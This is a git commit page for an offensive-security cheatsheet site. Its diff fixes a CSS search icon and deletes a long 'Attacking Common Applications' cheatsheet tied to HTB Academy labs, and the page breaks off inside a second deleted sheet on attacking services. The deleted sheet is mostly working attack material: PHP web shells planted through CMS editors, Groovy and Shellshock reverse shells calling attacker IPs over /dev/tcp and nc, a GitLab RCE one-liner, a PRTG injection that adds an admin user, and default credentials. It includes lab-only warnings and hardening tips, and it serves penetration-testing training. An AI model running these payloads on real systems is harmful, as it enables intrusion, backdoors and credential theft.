daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

commit a67f344e8a7644d26b0329973d951700eab7b919
parent 15338009401fcc96cb01f102336aaae7e8e6439f
Author: DAEMON <zer0sec.xp@icloud.com>
Date:   Fri, 28 Aug 2026 20:23:55 +0100

Update: Fixed Search icon

Update: added pentest-workflow section and added cheatsheets

Diffstat:
Msrc/components/SearchModal.astro | 12+++++++++++-
Dsrc/content/sheets/exploitation/attacking-common-applications.md | 502-------------------------------------------------------------------------------
Dsrc/content/sheets/exploitation/attacking-common-services.md | 403-------------------------------------------------------------------------------
Dsrc/content/sheets/exploitation/tty-upgrades-and-restricted-shells.md | 811-------------------------------------------------------------------------------
Dsrc/content/sheets/exploitation/web-shells.md | 636-------------------------------------------------------------------------------
Asrc/content/sheets/pentest-workflow/attacking-common-applications.md | 502+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/pentest-workflow/attacking-common-services.md | 403+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/pentest-workflow/linux-privesc-cpts.md | 474+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/pentest-workflow/tty-upgrades-and-restricted-shells.md | 811+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/pentest-workflow/web-shells.md | 636+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/content/sheets/pentest-workflow/windows-privesc-cpts.md | 442+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dsrc/content/sheets/privilege-escalation/linux-privesc-cpts.md | 474-------------------------------------------------------------------------------
Dsrc/content/sheets/privilege-escalation/windows-privesc-cpts.md | 442-------------------------------------------------------------------------------
Msrc/lib/taxonomy.ts | 1+
14 files changed, 3280 insertions(+), 3269 deletions(-)

diff --git a/src/components/SearchModal.astro b/src/components/SearchModal.astro @@ -43,7 +43,11 @@ import Icon from './Icon.astro'; background: var(--base); } .search-inputrow { display: flex; align-items: center; gap: 0.6rem; padding: 0.7rem 0.8rem; border-bottom: 1px solid var(--rule); } - .search-ico { width: 18px; height: 18px; color: var(--fg-faint); flex: 0 0 auto; } + /* .search-ico is sized in the is:global block below — it is the root + <svg> of the Icon child component, which never receives this file's + scope attribute, so a scoped rule here silently never applies and the + icon renders at the SVG default replaced size (a huge magnifying + glass). Same reason the result rows are styled globally. */ .search-input { flex: 1; background: none; border: none; outline: none; color: var(--fg); font-size: 1.02rem; font-family: var(--font-mono); @@ -78,6 +82,12 @@ import Icon from './Icon.astro'; `is:global` is the escape hatch, and every rule is confined to `.search-overlay` so nothing here can reach the page behind it. --> <style is:global> + /* The leading magnifying glass. Sized here, not in the scoped block: it + is the Icon child's root <svg>, which carries Icon's scope id and not + this component's, so `.search-ico { … }` up in the scoped styles never + matched it and the icon fell back to the SVG default size. */ + .search-overlay .search-ico { width: 18px; height: 18px; color: var(--fg-faint); flex: 0 0 auto; } + .search-overlay .search-hint { color: var(--fg-faint); font-size: var(--step-micro); letter-spacing: var(--track-micro); text-transform: uppercase; diff --git a/src/content/sheets/exploitation/attacking-common-applications.md b/src/content/sheets/exploitation/attacking-common-applications.md @@ -1,502 +0,0 @@ ---- -title: "Attacking Common Applications (CPTS)" -description: "Attacking common web applications — WordPress, Tomcat, Jenkins, Splunk, GitLab and others — from fingerprinting through to RCE." -category: exploitation -tags: ["exploitation", "web"] -tools: ["Nmap", "ffuf", "Gobuster", "Nuclei", "WPScan"] -difficulty: intermediate -updated: "2026-08-28" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/02 - Attacking Common Applications - CPTS Cheat Sheet.md" ---- -# Attacking Common Applications — CPTS Cheat Sheet - -## Summary - -The off-the-shelf web apps you meet on nearly every internal network — **CMS** (WordPress, Joomla, Drupal), **servlet/app servers** (Tomcat, Jenkins), **infrastructure/monitoring** (Splunk, PRTG, osTicket, GitLab), plus **CGI/Shellshock, ColdFusion, IIS short-name disclosure, LDAP-backed logins, mass-assignment, and thick clients**. The pattern repeats: **fingerprint the app and exact version → reach the admin/management console (default creds, brute, or OSINT) → turn admin access into code execution** via a theme/plugin/template editor, a script console, a WAR/app upload, or a version-specific CVE. - -> [!danger]+ HTB-Only Boundary -> -> 1. Authorized engagements / labs only. Many chains here (Drupalgeddon, Ghostcat, ColdFusion RCE, GitLab ExifTool) are full unauth/auth RCE — destructive if misused. -> 2. Admin-console RCE (theme/plugin/script editors) **plants a live backdoor** — track every file and remove it. -> 3. `--api-token`, breach-data lookups, and OSINT touch third parties — stay in scope. - -```mermaid -%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% -flowchart LR - A["Sweep web ports\n80,443,8000,8080,8180,8500,8888,10000"] --> B["Fingerprint app + version\n(headers, meta generator,\nCHANGELOG, favicon, /docs)"] - B --> C["Reach admin console\n(default creds / brute / OSINT)"] - C --> D{"RCE primitive"} - D --> E["Editor: theme/plugin/template/script"] - D --> F["Upload: WAR / plugin / custom app"] - D --> G["Version CVE"] - E --> H["Web/reverse shell"] - F --> H - G --> H -``` - ---- - -## 0 · Discovery & triage - -```bash -printf "%s\t%s\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts - -sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list -sudo nmap --open -sV $IP - -# Screenshot the estate to triage fast -eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness -cat web_discovery.xml | ./aquatone -nmap -# modern equivalents: httpx -screenshot · gowitness · nuclei -``` - -> [!tip]+ Prioritise the odd vhosts -> -> Flag any host/vhost containing `dev / qa / acc / stage` — non-prod copies are patched last and log-in restrictions are looser. Fingerprint *before* attacking: never run a WordPress chain against Joomla, or MySQL syntax against MSSQL. - ---- - -## Application config & loot map - -After a foothold, inspect the application’s own configuration before launching a broad filesystem search. These files often reveal database credentials, signing secrets, service accounts, internal hostnames, and paths to further evidence. - -| Application | High-value locations | Likely findings | -|---|---|---| -| WordPress | Web root `wp-config.php` | DB name/user/password, salts, table prefix | -| Joomla | Web root `configuration.php` | DB credentials, mail settings, log/tmp paths | -| Drupal | `sites/default/settings.php`, `sites/*/services.yml` | DB URL, hashes/salts, trusted hosts | -| Tomcat | `$CATALINA_BASE/conf/{server.xml,tomcat-users.xml,context.xml}` | Manager roles, JNDI data sources, connector config | -| Jenkins | `$JENKINS_HOME/config.xml`, `credentials.xml`, `secrets/`, job `config.xml` files | Credential IDs/blobs, build secrets, agent keys, command history | -| Splunk | `$SPLUNK_HOME/etc/{system,apps}/*/local/*.conf` | Auth, deployment targets, scripted-input paths | -| GitLab Omnibus | `/etc/gitlab/gitlab.rb`, `/var/opt/gitlab/gitlab-rails/etc/secrets.yml` | External services, Rails secrets, storage paths | -| Windows/IIS apps | `web.config`, app directory, service registry key | Connection strings, appSettings, DLL/search paths | - -> [!warning]+ Handle as sensitive evidence -> Collect only what the engagement permits. Record the source path, owner/ACL, timestamp, and hash; do not paste live secrets into the note. Re-test recovered credentials deliberately against in-scope services. - ---- - -## 1 · WordPress — PHP, port 80 - -```bash -# Fingerprint: meta generator, robots.txt → wp-admin/wp-content, /wp-json, ?ver= -curl -s http://blog.inlanefreight.local | grep WordPress # <meta ... content="WordPress 5.8" /> -curl -s http://blog.inlanefreight.local/ | grep -E 'themes|plugins' -# plugin version in wp-content/plugins/<plugin>/readme.txt - -# Enumerate (API token = free 75 req/day) -sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN> -# --enumerate ap = all plugins · --enumerate u = users -# user-enum oracle: "invalid username" vs "incorrect password" - -# Brute force over XML-RPC (faster — many guesses per request) -sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local -``` - -**RCE — Theme Editor (admin ≈ RCE):** `Appearance → Theme Editor → an inactive theme (Twenty Nineteen) → 404.php`, add: -```php -system($_GET[0]); -``` -```bash -curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id -# Metasploit: exploit/unix/webapp/wp_admin_shell_upload (malicious plugin + PHP meterpreter) -``` - -**Unauth plugin bugs:** -```bash -# mail-masta LFI (unauthenticated include via pl=) -curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd" - -# wpDiscuz unauth upload RCE — CVE-2020-24186 (client-side-only MIME check) -python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1 -curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/<uploaded>.php?cmd=id" -``` - ---- - -## 2 · Joomla — PHP/MySQL - -```bash -# Fingerprint: meta generator, /administrator/, README.txt, version XML -curl -s http://dev.inlanefreight.local/ | grep Joomla -curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format - # <version>3.9.4</version> -# also plugins/system/cache/cache.xml ; whatweb - -# Enumerate -sudo pip3 install droopescan -droopescan scan joomla --url http://dev.inlanefreight.local/ - -# Brute admin (generic login error → target the known 'admin') -sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin -``` - -**RCE — Template editor:** `Configuration → Templates → protostar → Templates: Customise → error.php`: -```php -system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); -``` -```bash -curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id" -# CVE-2019-10945 — auth dir-traversal + file delete (core 1.5.0–3.9.4) -python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir / -``` - ---- - -## 3 · Drupal - -```bash -# Fingerprint: "Powered by Drupal", CHANGELOG.txt, /node/<id> -curl -s http://drupal.inlanefreight.local | grep Drupal -curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 "" # Drupal 7.57, 2018-02-21 -droopescan scan drupal -u http://drupal.inlanefreight.local -``` - -**RCE — PHP Filter module (Drupal 7; disabled by default):** enable *PHP filter* → add a Basic page with Text format = *PHP code*: -```php -<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?> -``` -```bash -curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id" -# Drupal 8+ removed it from core → install the module: -wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz # Reports > Available updates > Install new module -``` - -**RCE — backdoored module upload (Drupal 8+):** -```bash -wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz && tar xvf captcha-8.x-1.2.tar.gz -# add shell.php: <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?> -# add .htaccess re-enabling /modules access, then: -mv shell.php .htaccess captcha && tar cvf captcha.tar.gz captcha/ -# Manage → Extend → + Install new module → captcha.tar.gz -curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id" -``` - -**Drupalgeddon family:** -```bash -# CVE-2014-3704 · pre-auth SQLi, Drupal 7.0–7.31 → rogue admin -python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd # msf: multi/http/drupal_drupageddon - -# CVE-2018-7600 (Drupalgeddon2) · pre-auth RCE, <7.58 / <8.5.1 -python3 drupalgeddon2.py -curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id - -# CVE-2018-7602 (Drupalgeddon3) · auth RCE — msf multi/http/drupal_drupageddon3 -# needs node-delete rights + a valid session cookie (set DRUPAL_SESSION, DRUPAL_NODE, VHOST) -``` - ---- - -## 4 · Tomcat — 8080/8180, AJP 8009 - -```bash -# Fingerprint + find the manager -curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat # Apache Tomcat 9 (9.0.30) -gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -# creds live in conf/tomcat-users.xml (roles: manager-gui / manager-script / manager-jmx / manager-status) - -# Default creds: tomcat:tomcat admin:admin tomcat:s3cret tomcat:admin -# Brute: msf auxiliary/scanner/http/tomcat_mgr_login (set VHOST, RPORT 8180, stop_on_success true) -``` - -**RCE — WAR deploy (JSP web shell):** -```bash -wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp -zip -r backup.war cmd.jsp # Manager → deploy backup.war -curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id" -# reverse-shell WAR instead: -msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war > backup.war # msf: multi/http/tomcat_mgr_upload -``` - -**Unauth / OS-specific CVEs:** -```bash -# Ghostcat — CVE-2020-1938 · unauth AJP LFI (< 9.0.31 / 8.5.51 / 7.0.100) -nmap -sV -p 8009,8080 app-dev.inlanefreight.local -python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml - -# CGI Servlet injection — CVE-2019-0232 (Windows only; & chains, URL-encode to bypass) -ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat -# http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe (%3A=: %5C=\) -``` - ---- - -## 5 · Jenkins — 8080 (lab 8000), agent 5000 - -Runs as **SYSTEM** (Windows) / **root** (Linux). Check anonymous read/build first, then the Groovy **Script Console** at `/script`. - -```groovy -// Run a command -def cmd = 'id' -def sout = new StringBuffer(), serr = new StringBuffer() -def proc = cmd.execute(); proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000) -println sout -``` -```groovy -// Linux reverse shell -r = Runtime.getRuntime() -p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) -p.waitFor() -``` -```groovy -// Windows command -def cmd = "cmd.exe /c dir".execute(); println("${cmd.text}"); -``` -> CVE chain (patched by 2.303.1 LTS): **CVE-2018-1999002 + CVE-2019-1003000** — script-security sandbox bypass, pre-auth RCE on 2.137. - ---- - -## 6 · Splunk — web 8000, mgmt/REST 8089 - -```bash -sudo nmap -sV $IP # 8000 & 8089 = Splunkd httpd ; trial drops to unauth "Free" after 60 days -# Default/weak: admin:changeme (shown on login page), admin:Welcome1, admin:Password123 -``` - -**RCE — malicious custom app** (`splunk_shell/` with `bin/` + `default/`). `default/inputs.conf`: -```ini -[script://.\bin\run.bat] -disabled = 0 -sourcetype = shell -interval = 10 -``` -`bin/run.bat`: -```batch -@ECHO OFF -PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'" -Exit -``` -```bash -tar -cvzf updater.tar.gz splunk_shell/ && sudo nc -lnvp 443 -# Manage Apps → Install app from file → updater.tar.gz (shell as nt authority\system / root) -# Universal Forwarders lack Python → use the PowerShell/.bat variant, not the Python one -# Pivot: drop the app in $SPLUNK_HOME/etc/deployment-apps → RCE on every Forwarder -``` - ---- - -## 7 · PRTG Network Monitor — Windows, 8080 - -```bash -sudo nmap -sV -p- --open -T4 $IP -curl -s "http://$IP:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version -# "PRTG Network Monitor 17.3.33.2830" (< 18.2.39 = vulnerable) -# Default: prtgadmin:prtgadmin (often pre-filled) ; weak: prtgadmin:Password123 -``` - -**RCE — CVE-2018-9276** (authenticated command injection via a notification, blind): -`Setup → Account Settings → Notifications → Add → tick EXECUTE PROGRAM → Program File: `Demo exe notification - outfile.ps1`` with parameter: -```batch -test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add -``` -Save → **Test**, then confirm out-of-band: -```bash -sudo nxc smb $IP -u prtgadm1 -p 'Pwn3d_by_PRTG!' # (Pwn3d!) = local admin [HTB: Netmon] -``` - ---- - -## 8 · osTicket — methodology / OSINT (no core CVE) - -Fingerprint by the `OSTSESSID` cookie and the "powered by osTicket" footer. - -- Submit a ticket → harvest the **company reply-to email** → self-register on portals that gate by email domain (Slack, GitLab, Mattermost, Rocket.Chat). -- Mine closed tickets for password resets / "standard new-joiner password" sent in plaintext; export the address book as a spraying user list. - -```bash -# Breach-data OSINT for reuse -sudo python3 dehashed.py -q inlanefreight.local -p # e.g. password : Fish1ng_s3ason! -# alternatives: HIBP, intelx.io, linkedin2username [HTB: Delivery] -``` - ---- - -## 9 · GitLab — Linux (lab 8081) - -```bash -# /explore lists public projects unauthenticated; version via /help after login -# Username enum via /users/sign_up ("Email has already been taken") — works even if sign-up is disabled -./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt -# lockout: 10 fails → 10-min auto-unlock -# Register hacker:Welcome1 → /explore for secrets, SSH keys, commit history, snippets -``` - -**RCE — GitLab CE ≤ 13.10.2** (authenticated, ExifTool metadata parsing): -```bash -python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 \ - -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f ' -nc -lnvp 8443 # shell as git (uid 996) -# successor: CVE-2021-22205 — unauth ExifTool RCE on later versions -``` - ---- - -## 10 · CGI / Shellshock — Linux, `cgi-bin` (CVE-2014-6271) - -```bash -# Underlying-bug test (Bash ≤ 4.3) -env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable" - -# Discover a CGI script (-x cgi appends the extension; 200 w/ 0-length body still worth testing) -gobuster dir -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi -feroxbuster -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi - -# Exploit via User-Agent (also works in Referer / Cookie) -curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s '' http://$IP/cgi-bin/access.cgi - -# Reverse shell (as www-data) -curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://$IP/cgi-bin/access.cgi -sudo nc -lvnp 7777 -# patched Bash requires the BASH_FUNC_ prefix -``` - ---- - -## 11 · Thick Client Applications — Windows - -**Toolkit:** Ghidra, IDA, **dnSpyEx**/dnSpy, JADX, JD-GUI, de4dot, x64dbg, ProcMon, Frida, Wireshark/tcpdump, Burp. - -- **Hardcoded creds from memory** (Restart-Oracle-Service pattern): watch with ProcMon for a temp file in `%LOCALAPPDATA%\Temp`; on that folder disable inheritance + deny "Delete"/"Delete subfolders and files" so it can't self-clean, re-run to capture the dropped `.bat`, then decode the base64 dropper. Or dump from x64dbg: Memory Map → find an `-RW--` region with an `MZ` header (embedded PE) → **Dump Memory to File** → `strings64.exe dump.bin`; `de4dot` deobfuscates .NET, `dnSpy` decompiles to C#. -- **Client/server (Fatty pattern):** grep the client jar for the port, patch Spring `beans.xml`, strip SHA-256 digests + `.RSA`/`.SF` from `META-INF/MANIFEST.MF`, rebuild with `jar -cmf`. -```powershell -Select-String -Path fatty-client\* -Pattern "8000" -Recurse -``` -- **Path-traversal + SQLi in decompiled logic (JD-GUI):** patch `currentFolder = "configs"` → `".."` (server filters `/` but not `..`); the login query is unsanitised: -```text -Login username: qtc' UNION SELECT 1,'abc','a@a','abc','admin -Login password: abc -``` -Password is hashed client-side (`SHA-256(username+password+secret)`) → patch `setPassword()` to send plaintext so the UNION literal matches. - ---- - -## 12 · ColdFusion — Windows, port 8500, `.cfm`/`.cfc` - -```bash -# Fingerprint: 8500, /CFIDE/administrator/index.cfm, Server: ColdFusion -nmap -p- -sC -Pn $IP --open -searchsploit adobe coldfusion - -# CVE-2010-2861 · dir traversal (≤ 9.0.1) → leaks CF admin hash in password.properties -searchsploit -p 14641 && cp /usr/share/exploitdb/exploits/multiple/remote/14641.py . -python2 14641.py $IP 8500 "../../../../../../../../ColdFusion8/lib/password.properties" - -# CVE-2009-2265 · unauth FCKeditor upload RCE (≤ 8.0.1) → shell as CF service account -searchsploit -p 50057 && cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py . -python3 50057.py # set lhost/lport/rhost/rport inside; uploads JSP, triggers, self-cleans -``` - ---- - -## 13 · IIS Tilde (8.3 short-name) Enumeration — Windows/IIS - -```bash -nmap -p- -sV -sC --open $IP # Microsoft IIS httpd 7.5 - -# Scanner (needs Oracle Java) — reveals ~1 short names (ASPNET~1, TRANSF~1.ASP, CSASPX~1.CS) -java -jar iis_shortname_scanner.jar 0 5 http://$IP/ - -# Build a wordlist from the recovered prefix, then recover the full name -egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt -gobuster dir -u http://$IP/ -w /tmp/list.txt -x .aspx,.asp -# tool: github.com/irsdl/IIS-ShortName-Scanner [HTB: Bounty] -``` - ---- - -## 14 · LDAP Injection & Web Mass Assignment - -```bash -# Direct LDAP query (389 / LDAPS 636) -ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 \ - -b "ou=people,dc=example,dc=com" "(mail=jdoe@example.com)" - -# Fingerprint an LDAP-backed login -nmap -p- -sC -sV --open --min-rate=1000 $IP # 389 OpenLDAP alongside the web app -``` - -**LDAP injection auth bypass** — special chars `* ( ) & |`: -```text -Username: * -Password: * -# → (&(objectClass=user)(sAMAccountName=*)(userPassword=*)) matches any user -``` - -**Mass assignment** — an unlisted field (`confirmed`, `admin`, `role`) is bound straight into the insert. Add it to the request body in Burp: -```http -POST /register -username=new&password=test&confirmed=test -# Rails equivalent: add "admin: true" to the user hash (defeats weak attr_accessible) -``` - ---- - -## Honourable mentions & hardening - -| App | Abuse / default creds | -|---|---| -| **Axis2** | On Tomcat; default admin → upload web shell as `.AAR` (msf module exists) | -| **WebSphere** | Default `system:manager` → deploy WAR for RCE | -| **Elasticsearch** | Unauth instances + multiple CVEs [HTB: Haystack] | -| **Zabbix** | SQLi, auth bypass, LDAP pw disclosure, API-abuse RCE [HTB: Zipper] | -| **Nagios** | Default `nagiosadmin:PASSW0RD`; RCE + root privesc | -| **WebLogic** | 190+ CVEs, many unauth RCE (Java deserialization) | -| **DotNetNuke** | Auth bypass, dir traversal, file-upload bypass | -| **vCenter** | **CVE-2021-22005** unauth OVA-upload RCE; often SYSTEM/domain admin | - -**Hardening quick ref:** disable in-browser PHP editing (WP Theme Editor, Drupal PHP Filter); WP → WordFence + MFA; Tomcat → restrict Manager to localhost/IP-whitelist; Jenkins → Matrix Authorization; Splunk/PRTG → change defaults + patch; GitLab → sign-up restrictions. WAF is defence-in-depth only. - ---- - -## Evidence & cleanup checklist - -- [ ] Save the exact URL, virtual host, product/version evidence, account context, and request or console action. -- [ ] Hash every uploaded WAR, plugin, module, script, or executable and record its destination path. -- [ ] Record configuration changes: enabled script consoles, notification actions, themes/plugins, tasks, and created users. -- [ ] Remove uploaded payloads and temporary users; restore edited files/settings from a known baseline. -- [ ] Re-request the affected route and check the filesystem/process list to confirm the backdoor no longer exists. -- [ ] Move recovered hosts, users, and credentials into the scoped target matrix; keep actual secrets in protected storage. - ---- - -## Quick CVE index - -| CVE | App | Type | Tool / Module | -|---|---|---|---| -| CVE-2020-24186 | WP wpDiscuz | unauth upload RCE | `wp_discuz.py` | -| CVE-2019-10945 | Joomla 1.5.0–3.9.4 | auth traversal + delete | `joomla_dir_trav.py` | -| CVE-2014-3704 | Drupal 7.0–7.31 | pre-auth SQLi (Drupalgeddon) | `drupalgeddon.py` | -| CVE-2018-7600 | Drupal <7.58/<8.5.1 | pre-auth RCE (Drupalgeddon2) | `drupalgeddon2.py` | -| CVE-2018-7602 | Drupal | auth RCE (Drupalgeddon3) | `drupal_drupageddon3` | -| CVE-2020-1938 | Tomcat <9.0.31 | unauth AJP LFI (Ghostcat) | `tomcat-ajp.lfi.py` | -| CVE-2019-0232 | Tomcat (Win CGI) | command injection | ffuf + URL-encoded query | -| CVE-2019-1003000 (+2018-1999002) | Jenkins 2.137 | pre-auth RCE | Script Console | -| CVE-2018-9276 | PRTG <18.2.39 | auth command injection | Notification "Execute Program" | -| CVE-2021-22205 | GitLab | unauth ExifTool RCE | (successor) | -| — | GitLab CE ≤13.10.2 | auth RCE | `gitlab_13_10_2_rce.py` | -| CVE-2014-6271 | Bash/CGI | Shellshock | `curl -H 'User-Agent: () { :; };…'` | -| CVE-2010-2861 | ColdFusion ≤9.0.1 | traversal → hash leak | `14641.py` | -| CVE-2009-2265 | ColdFusion ≤8.0.1 | unauth FCKeditor RCE | `50057.py` | -| CVE-2021-22005 | vCenter | unauth OVA-upload RCE | — | - -**Default creds:** Tomcat `tomcat:tomcat`/`tomcat:s3cret` · Splunk `admin:changeme` · PRTG `prtgadmin:prtgadmin` · Nagios `nagiosadmin:PASSW0RD` · WebSphere `system:manager`. -**Key ports:** Tomcat 8080/8180 · AJP 8009 · Jenkins agent 5000 · Splunk 8000/8089 · PRTG 8080 · ColdFusion 8500 · GitLab lab 8081 · LDAP 389/636. - ---- - -## Lessons Learned - -1. **Version is the whole game.** Every CVE here is gated on an exact version — pull it from the meta generator, `CHANGELOG.txt`, `joomla.xml`, `/docs`, or a favicon hash before choosing an exploit. -2. **Admin console = RCE.** WordPress/Joomla/Drupal editors, the Jenkins Script Console, and Tomcat Manager all turn "I'm logged in as admin" into code execution — default creds and a short spray get you there more often than a CVE. -3. **Upload = plant a backdoor.** WAR/plugin/custom-app uploads leave a live shell on disk; note the path and remove it at cleanup. -4. **Apps hold creds for other systems.** Config files, connection strings (thick clients, ELF/DLL reversing), and osTicket/GitLab secrets feed straight into service attacks and lateral movement — always test recovered creds for reuse. -5. **`dev`/`qa`/`acc` first.** Non-prod copies are patched last and gated loosest. - -## References - -1. [HTB Academy — Attacking Common Applications](https://academy.hackthebox.com/module/details/113) -2. [WPScan](https://github.com/wpscanteam/wpscan) · [droopescan](https://github.com/SamJoan/droopescan) -3. [tennc/webshell (JSP cmd.jsp)](https://github.com/tennc/webshell) -4. [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) -5. [WordPress Developer Resources — Editing wp-config.php](https://developer.wordpress.org/advanced-administration/wordpress/wp-config/) -6. [Jenkins — System Configuration](https://www.jenkins.io/doc/book/managing/system-configuration/) -7. [PayloadsAllTheThings — CMS / app attack notes](https://github.com/swisskyrepo/PayloadsAllTheThings) diff --git a/src/content/sheets/exploitation/attacking-common-services.md b/src/content/sheets/exploitation/attacking-common-services.md @@ -1,403 +0,0 @@ ---- -title: "Attacking Common Services (CPTS)" -description: "Attacking common network services — FTP, SMB, SQL, RDP, DNS, email and more — from enumeration to authentication attacks and exploitation." -category: exploitation -tags: ["exploitation", "enumeration", "password-attacks"] -tools: ["Nmap", "Nuclei", "smbmap", "NetExec", "Impacket"] -difficulty: intermediate -updated: "2026-08-28" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/01 - Attacking Common Services - CPTS Cheat Sheet.md" ---- -# Attacking Common Services — CPTS Cheat Sheet - -## Summary - -The reusable playbook for the services that dominate internal and perimeter networks: **FTP, SMB, SQL (MySQL/MSSQL), RDP, DNS, and email (SMTP/POP3/IMAP)**. The method is the same for every protocol — enumerate, try anonymous/default/reused credentials, spray, then exploit a misconfiguration or CVE — framed by the module's **Source → Process → Privileges → Destination** model. Misconfigurations (default creds, anonymous auth, over-privileged accounts, unnecessary defaults) land more boxes than memory-corruption bugs, so they come first. - -> [!danger]+ HTB-Only Boundary -> -> 1. Authorized engagements / labs only. Password spraying, relaying, and RDP RCE (**BlueKeep can BSOD the target**) all affect availability — get sign-off. -> 2. Spray with lockout awareness: **one password across all users**, watch the domain lockout policy, never a full wordlist per account on a live AD. -> 3. Record every credential as sensitive evidence; don't paste secrets into permanent notes. - -```mermaid -%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% -flowchart LR - A["Enumerate\n(nmap -sC -sV)"] --> B["Anonymous / null\naccess?"] - B --> C["Default creds\n→ weak combos"] - C --> D["Reuse anything found\n(even a filename)\nacross every service"] - D --> E["Spray / brute\n(lockout-aware)"] - E --> F["Exploit misconfig / CVE\n→ RCE or creds"] - F --> G["Loot → feed\ncredential hunting"] -``` - ---- - -## Methodology — the model behind every service - -> [!info]+ Concept of Attacks · Source → Process → Privileges → Destination -> - **Source** — where input enters: user input, config, libraries, APIs, a header (Log4j **CVE-2021-44228** rode a JNDI string in `User-Agent`). -> - **Process** — the logic handling that input; most vulns live here. -> - **Privileges** — the context it runs as (SYSTEM/root, service account, app role) = blast radius. -> - **Destination** — local (file/local service) or network (another host). The cycle is linear; a full chain is usually an *initiation* cycle (leak/foothold) plus a *trigger* cycle (→ RCE). - -> [!tip]+ Misconfiguration checklist (offensive = defensive, OWASP A05:2021) -> -> 1. **Default credentials** — `admin:admin`, `admin:password`, `root:12345678`, `administrator:Password`, blanks. -> 2. **Anonymous authentication** — FTP, SMB, occasionally SQL. -> 3. **Misconfigured access rights** — over-privileged service/user 